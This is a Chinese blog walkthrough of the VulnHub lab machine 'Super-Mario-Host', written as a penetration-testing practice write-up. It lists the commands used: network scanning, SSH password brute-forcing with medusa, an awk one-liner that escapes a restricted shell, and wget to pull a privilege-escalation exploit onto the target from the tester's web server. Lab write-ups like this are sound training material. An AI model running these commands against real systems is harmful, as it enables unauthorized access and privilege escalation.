靶机实战(Super-Mario-Host-v1.0.1)

最新推荐文章于 2024-07-16 09:41:55 发布

～～...

最新推荐文章于 2024-07-16 09:41:55 发布

阅读量548

点赞数

分类专栏：靶机实战文章标签： vulnhub 靶机靶机练习网络安全超级玛丽 Rbash绕过

本文链接：https://blog.csdn.net/weixin_45605313/article/details/107327694

版权

15 篇文章 0 订阅

订阅专栏

实验环境

靶机：超级玛丽(Super-Mario-Host-v1.0.1)
测试机：kali（IP：192.168.186.128），win10

netdiscover -I eth0 -r 192.168.186.0/24
nmap -sn 192.168.186.0/24
arp-scan -l ,arp-scan 192.168.186.0/24

在这里插入图片描述

masscan -p 0-65535 --rate=10000 192.168.186.131

在这里插入图片描述

nmap 192.168.186.131 -p 22,8180 -sV -O -T4

在这里插入图片描述

主页
在这里插入图片描述

根据上面的提示去设置hosts文件

在C:\Windows\System32\drivers\etc下设置hosts文件。

再去访问：

在页面luigi.php发现关键信息
在这里插入图片描述
对用户名信息用john 生成字典文件u

john --wordlist=p.txt --stdout --rules >  u

在这里插入图片描述

medusa爆破出用户名：luigi 密码：luigi1

 medusa -M ssh -h 192.168.186.131 -U u -P u

在这里插入图片描述
ssh登录，这里shell做了限制

awk 'BEGIN {system("/bin/bash")}'

在这里插入图片描述
查看系统版本信息

lsb_release -a

在这里插入图片描述
searchsploit 搜寻相关提权脚本

python -m SimpleHTTPServer 8080，开启简易web服务，wget将脚本下载至靶机

在这里插入图片描述
编译运行

在信息收集过程中，若找到一些关于用户，用户邮箱等的身份信息，可以用john生成对应字典，针对ssh，或网站后台进行爆破。
RBASH绕过

关注

专栏目录